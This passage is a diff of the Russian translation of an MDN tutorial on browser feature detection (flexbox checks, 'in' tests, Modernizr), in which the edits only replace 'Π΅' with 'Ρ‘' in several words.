-<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ Π±Π΅Ρ€Π΅ΠΌ ссылку Π½Π° Π²Ρ‚ΠΎΡ€ΠΎΠΉ элСмСнт <code>&lt;link&gt;</code> ΠΈ создаСм элСмСнт <code>&lt;div&gt;</code> ΠΊΠ°ΠΊ Ρ‡Π°ΡΡ‚ΡŒ нашСго тСста. Β Π’ нашСм условном Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ ΠΌΡ‹ провСряСм, Ρ‡Ρ‚ΠΎ свойства {{cssxref ("flex")}} ΠΈ {{cssxref ("flex-flow")}} ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ прСдставлСния JavaScript этих свойств, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ хранятся Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° {{domxref ("HTMLElement.style")}}, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ Π½ΠΈΠΆΠ½ΠΈΠΉ Π³ΠΎΡ€Π±Π°Ρ‚Ρ‹ΠΉ рСгистр, Π° Π½Π΅ дСфисы, для раздСлСния слов.</p>
+<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ Π±Π΅Ρ€Ρ‘ΠΌ ссылку Π½Π° Π²Ρ‚ΠΎΡ€ΠΎΠΉ элСмСнт <code>&lt;link&gt;</code> ΠΈ создаём элСмСнт <code>&lt;div&gt;</code> ΠΊΠ°ΠΊ Ρ‡Π°ΡΡ‚ΡŒ нашСго тСста. Β Π’ нашСм условном Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ ΠΌΡ‹ провСряСм, Ρ‡Ρ‚ΠΎ свойства {{cssxref ("flex")}} ΠΈ {{cssxref ("flex-flow")}} ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ прСдставлСния JavaScript этих свойств, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ хранятся Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° {{domxref ("HTMLElement.style")}}, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ Π½ΠΈΠΆΠ½ΠΈΠΉ Π³ΠΎΡ€Π±Π°Ρ‚Ρ‹ΠΉ рСгистр, Π° Π½Π΅ дСфисы, для раздСлСния слов.</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:Β </strong>Если Ρƒ вас Π²ΠΎΠ·Π½ΠΈΠΊΠ»ΠΈ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ с Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ΠΌ этого, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΡ€Π°Π²Π½ΠΈΡ‚ΡŒ Π΅Π³ΠΎ с нашим ΠΊΠΎΠ΄ΠΎΠΌ <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/feature-detection/css-feature-detect-finished.html">css-feature-detect-finished.html</a> (см. Π’Π°ΠΊΠΆΠ΅Β <a href="http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/feature-detection/css-feature-detect-finished.html">ΠΆΠΈΠ²ΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ</a>).</p>
</div>
-<p>Когда Π²Ρ‹ сохранитС всС ΠΈ ΠΎΠΏΡ€ΠΎΠ±ΡƒΠ΅Ρ‚Π΅ свой ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ ΠΌΠ°ΠΊΠ΅Ρ‚ flexbox, ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Π½Ρ‹ΠΉ ΠΊ страницС, Ссли Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ соврСмСнный flexbox, ΠΈ ΠΌΠ°ΠΊΠ΅Ρ‚ float, Ссли Π½Π΅Ρ‚.</p>
+<p>Когда Π²Ρ‹ сохранитС всС ΠΈ ΠΎΠΏΡ€ΠΎΠ±ΡƒΠ΅Ρ‚Π΅ свой ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ ΠΌΠ°ΠΊΠ΅Ρ‚ flexbox, ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½Π½Ρ‹ΠΉ ΠΊ страницС, Ссли Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ соврСмСнный flexbox, ΠΈ ΠΌΠ°ΠΊΠ΅Ρ‚ float, Ссли Π½Π΅Ρ‚.</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> Часто Ρ‚Π°ΠΊΠΎΠΉ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ являСтся излишним ΠΈΠ·-Π·Π° Π½Π΅Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ с ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ - Π²Ρ‹ часто ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠ±ΠΎΠΉΡ‚ΠΈΡΡŒ Π±Π΅Π· использования прСфиксов Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… поставщиков ΠΈ свойств рСзСрвирования, ΠΊΠ°ΠΊ описано Π² Ρ€Π°Π·Π΄Π΅Π»Π΅ <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS#CSS_fallback_behaviour">ПовСдСниС CSS-ΠΎΡ‚ΠΊΠ°Ρ‚</a> ΠΈΒ <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS#Handling_CSS_prefixes">ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° прСфиксов CSS</a>.</p>
@@ -134,7 +134,7 @@ if (testElem.style.flex !== undefined &amp;&amp; testElem.style.flexFlow !== und
<tbody>
<tr>
<td><em>Если Ρ‡Π»Π΅Π½ Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅</em></td>
- <td>ΠŸΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅, сущСствуСт Π»ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΈΠ»ΠΈ свойство (ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Ρ‚ΠΎΡ‡ΠΊΠ° Π²Ρ…ΠΎΠ΄Π° Π² использованиС API ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΠ²Π°Π΅Ρ‚Π΅) Π² Π΅Π³ΠΎ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅.</td>
+ <td>ΠŸΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅, сущСствуСт Π»ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΈΠ»ΠΈ свойство (ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Ρ‚ΠΎΡ‡ΠΊΠ° Π²Ρ…ΠΎΠ΄Π° Π² использованиС API ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΠ²Π°Π΅Ρ‚Π΅) Π² Π΅Π³ΠΎ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅.</td>
<td>
<p><code>if("geolocation"Β inΒ navigator)Β { ... }</code></p>
</td>
@@ -155,14 +155,14 @@ if (testElem.style.flex !== undefined &amp;&amp; testElem.style.flexFlow !== und
</tr>
<tr>
<td><em>Бвойство Π½Π° сохраняСмоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ элСмСнта</em></td>
- <td>Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ элСмСнт Π² памяти, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ {{domxref ("Document.createElement()")}}, установитС для свойства ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Π·Π°Ρ‚Π΅ΠΌ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅, сохраняСтся Π»ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅.</td>
+ <td>Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ элСмСнт Π² памяти, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ {{domxref ("Document.createElement()")}}, установитС для свойства ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Π·Π°Ρ‚Π΅ΠΌ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅, сохраняСтся Π»ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅.</td>
<td>Π‘ΠΌ. <a href="http://diveinto.html5doctor.com/detect.html#input-types">Dive into HTML5 <code>&lt;input&gt;</code> types detection</a>.</td>
</tr>
</tbody>
</table>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> Π”Π²ΠΎΠΉΠ½ΠΎΠ΅ <code>NOT</code> Π² ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ (<code>!!</code>) это способ Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΡΡ‚Π°Ρ‚ΡŒ Β«ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΌΒ» логичСским Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ, Π° Π½Π΅ {{glossary("Truthy")}}/{{glossary("Falsy")}} Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΊΠ°Π·ΠΈΡ‚ΡŒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> Π”Π²ΠΎΠΉΠ½ΠΎΠ΅ <code>NOT</code> Π² ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ (<code>!!</code>) это способ Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΡΡ‚Π°Ρ‚ΡŒ Β«ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΌΒ» логичСским Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ, Π° Π½Π΅ {{glossary("Truthy")}}/{{glossary("Falsy")}} Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΊΠ°Π·ΠΈΡ‚ΡŒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹.</p>
</div>
<p>Π‘Ρ‚Ρ€Π°Π½ΠΈΡ†Π° <a href="http://diveinto.html5doctor.com/detect.html">ΠŸΠΎΠ³Ρ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ Π² HTML5 ΠžΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ HTML5</a> содСрТит Π³ΠΎΡ€Π°Π·Π΄ΠΎ большС ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Ρ… тСстов для обнаруТСния Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, ΠΏΠΎΠΌΠΈΠΌΠΎ пСрСчислСнных Π²Ρ‹ΡˆΠ΅, ΠΈ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ тСст обнаруТСния Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ для Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π° Π²Π΅Ρ‰Π΅ΠΉ, Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΠ² поиск Β«ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ для Π’ΠΠ¨Π˜-ЀУНКЦИИ-Π—Π”Π•Π‘Π¬Β» Π² своСй любимой поисковой систСмС. Π˜ΠΌΠ΅ΠΉΡ‚Π΅ Π² Π²ΠΈΠ΄Ρƒ, ΠΎΠ΄Π½Π°ΠΊΠΎ, Ρ‡Ρ‚ΠΎ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΊΠ°ΠΊ извСстно, Π½Π΅ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΠ²Π°ΡŽΡ‚ΡΡ - см. список ModernizrΒ <a href="https://github.com/Modernizr/Modernizr/wiki/Undetectables">НСобнаруТиваСмыС</a>.</p>
@@ -175,7 +175,7 @@ if (testElem.style.flex !== undefined &amp;&amp; testElem.style.flexFlow !== und
// run JavaScript in here.
}</pre>
-<p>Π’ качСствС ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°, наша Π΄Π΅ΠΌΠΎ вСрсия <a href="https://github.com/chrisdavidmills/snapshot">Snapshot</a> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Π΅Π΅ для Π²Ρ‹Π±ΠΎΡ€ΠΎΡ‡Π½ΠΎΠ³ΠΎ примСнСния Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ Brick JavaScript ΠΈ Π΅Π΅ использования для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΌΠ°ΠΊΠ΅Ρ‚Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ интСрфСйса, Π½ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для нСбольшого экрана (ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ 480 пиксСлСй ΠΈΠ»ΠΈ мСньшС). Π‘Π½Π°Ρ‡Π°Π»Π° ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>media</code>,Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ CSS-ΠΊΠΎΠ΄ Brick ΠΊ страницС, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ссли ΡˆΠΈΡ€ΠΈΠ½Π° страницы составляСт 480px ΠΈΠ»ΠΈ мСньшС:</p>
+<p>Π’ качСствС ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°, наша Π΄Π΅ΠΌΠΎ вСрсия <a href="https://github.com/chrisdavidmills/snapshot">Snapshot</a> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Π΅Ρ‘ для Π²Ρ‹Π±ΠΎΡ€ΠΎΡ‡Π½ΠΎΠ³ΠΎ примСнСния Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ Brick JavaScript ΠΈ Π΅Ρ‘ использования для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΌΠ°ΠΊΠ΅Ρ‚Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ интСрфСйса, Π½ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для нСбольшого экрана (ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ 480 пиксСлСй ΠΈΠ»ΠΈ мСньшС). Π‘Π½Π°Ρ‡Π°Π»Π° ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>media</code>,Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ CSS-ΠΊΠΎΠ΄ Brick ΠΊ страницС, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ссли ΡˆΠΈΡ€ΠΈΠ½Π° страницы составляСт 480px ΠΈΠ»ΠΈ мСньшС:</p>
<pre class="brush: css">&lt;<span class="pl-ent">link</span> <span class="pl-e">href</span>=<span class="pl-s"><span class="pl-pds">"</span>dist/brick.css<span class="pl-pds">"</span></span> <span class="pl-e">type</span>=<span class="pl-s"><span class="pl-pds">"</span>text/css<span class="pl-pds">"</span></span> <span class="pl-e">rel</span>=<span class="pl-s"><span class="pl-pds">"</span>stylesheet<span class="pl-pds">"</span></span> <span class="pl-e">media</span>=<span class="pl-s"><span class="pl-pds">"</span>all and (max-width: 480px)<span class="pl-pds">"</span></span>&gt;</pre>
@@ -199,7 +199,7 @@ if (testElem.style.flex !== undefined &amp;&amp; testElem.style.flexFlow !== und
<p>Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅ Π΅Π³ΠΎ Π³Π΄Π΅-Π½ΠΈΠ±ΡƒΠ΄ΡŒ Ρ€Π°Π·ΡƒΠΌΠ½ΠΎ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π² Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΈ, для ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π²Ρ‹ создавали Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ Π² этой ΡΡ‚Π°Ρ‚ΡŒΠ΅.</p>
-<p>Когда Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ Modernizr Π² Ρ€Π°Π±ΠΎΡ‡Π΅ΠΉ срСдС, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ Π½Π°Β <a href="https://modernizr.com/download">Π‘Ρ‚Ρ€Π°Π½ΠΈΡ†Ρƒ скачивания</a> ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ ΡƒΠΆΠ΅ посСтили, ΠΈ Π½Π°ΠΆΠΈΠΌΠ°Ρ‚ΡŒ ΠΊΠ½ΠΎΠΏΠΊΠΈ ΠΏΠ»ΡŽΡΒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для Ρ‚Π΅Ρ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Π°ΠΌ Π½ΡƒΠΆΠ½Ρ‹. Π—Π°Ρ‚Π΅ΠΌ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Π½Π°ΠΆΠΌΠ΅Ρ‚Π΅ ΠΊΠ½ΠΎΠΏΠΊΡƒ <em>Build</em> Π²Ρ‹ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΡƒΡŽ сборку, ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‰ΡƒΡŽ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½Ρ‹, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΡƒΠΌΠ΅Π½ΡŒΡˆΠΈΡ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€ Ρ„Π°ΠΉΠ»Π°.</p>
+<p>Когда Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ Modernizr Π² Ρ€Π°Π±ΠΎΡ‡Π΅ΠΉ срСдС, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ Π½Π°Β <a href="https://modernizr.com/download">Π‘Ρ‚Ρ€Π°Π½ΠΈΡ†Ρƒ скачивания</a> ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ ΡƒΠΆΠ΅ посСтили, ΠΈ Π½Π°ΠΆΠΈΠΌΠ°Ρ‚ΡŒ ΠΊΠ½ΠΎΠΏΠΊΠΈ ΠΏΠ»ΡŽΡΒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для Ρ‚Π΅Ρ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Π°ΠΌ Π½ΡƒΠΆΠ½Ρ‹. Π—Π°Ρ‚Π΅ΠΌ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Π½Π°ΠΆΠΌΡ‘Ρ‚Π΅ ΠΊΠ½ΠΎΠΏΠΊΡƒ <em>Build</em> Π²Ρ‹ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΡƒΡŽ сборку, ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‰ΡƒΡŽ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½Ρ‹, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΡƒΠΌΠ΅Π½ΡŒΡˆΠΈΡ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€ Ρ„Π°ΠΉΠ»Π°.</p>
<h3 id="CSS_2">CSS</h3>
@@ -207,10 +207,10 @@ if (testElem.style.flex !== undefined &amp;&amp; testElem.style.flexFlow !== und
<ol>
<li>Π’ΠΎ-ΠΏΠ΅Ρ€Π²Ρ‹Ρ…, создайтС копию <code><a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/feature-detection/supports-feature-detect.html">supports-feature-detect.html</a></code> ΠΈ <code><a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/feature-detection/supports-styling.css">supports-styling.css</a></code>. Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅ ΠΈΡ… ΠΊΠ°ΠΊ <code>modernizr-css.html</code> ΠΈΒ <code>modernizr-css.css</code>.</li>
- <li>ΠžΠ±Π½ΠΎΠ²ΠΈΡ‚Π΅ ваш элСмСнт {{htmlelement ("link")}} Π² своСм HTML-ΠΊΠΎΠ΄Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π» Π½Π° ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΉ Ρ„Π°ΠΉΠ» CSS (Ρ‚Π°ΠΊΠΆΠ΅ слСдуСт ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ элСмСнт {{htmlelement ("title")}} Π½Π° Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π±ΠΎΠ»Π΅Π΅ подходящСС!):
+ <li>ΠžΠ±Π½ΠΎΠ²ΠΈΡ‚Π΅ ваш элСмСнт {{htmlelement ("link")}} Π² своём HTML-ΠΊΠΎΠ΄Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π» Π½Π° ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΉ Ρ„Π°ΠΉΠ» CSS (Ρ‚Π°ΠΊΠΆΠ΅ слСдуСт ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ элСмСнт {{htmlelement ("title")}} Π½Π° Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π±ΠΎΠ»Π΅Π΅ подходящСС!):
<pre class="brush: html">&lt;link href="modernizr-css.css" rel="stylesheet"&gt;</pre>
</li>
- <li>Над этим элСмСнтом <code>&lt;link&gt;</code> Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ элСмСнт {{htmlelement ("script")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ Modernizr ΠΊ страницС, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅. Π­Ρ‚ΠΎ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΎ ΠΊ страницС ΠΏΠ΅Ρ€Π΅Π΄ Π»ΡŽΠ±Ρ‹ΠΌ CSS (ΠΈΠ»ΠΈ JavaScript), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ Π΅Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ.
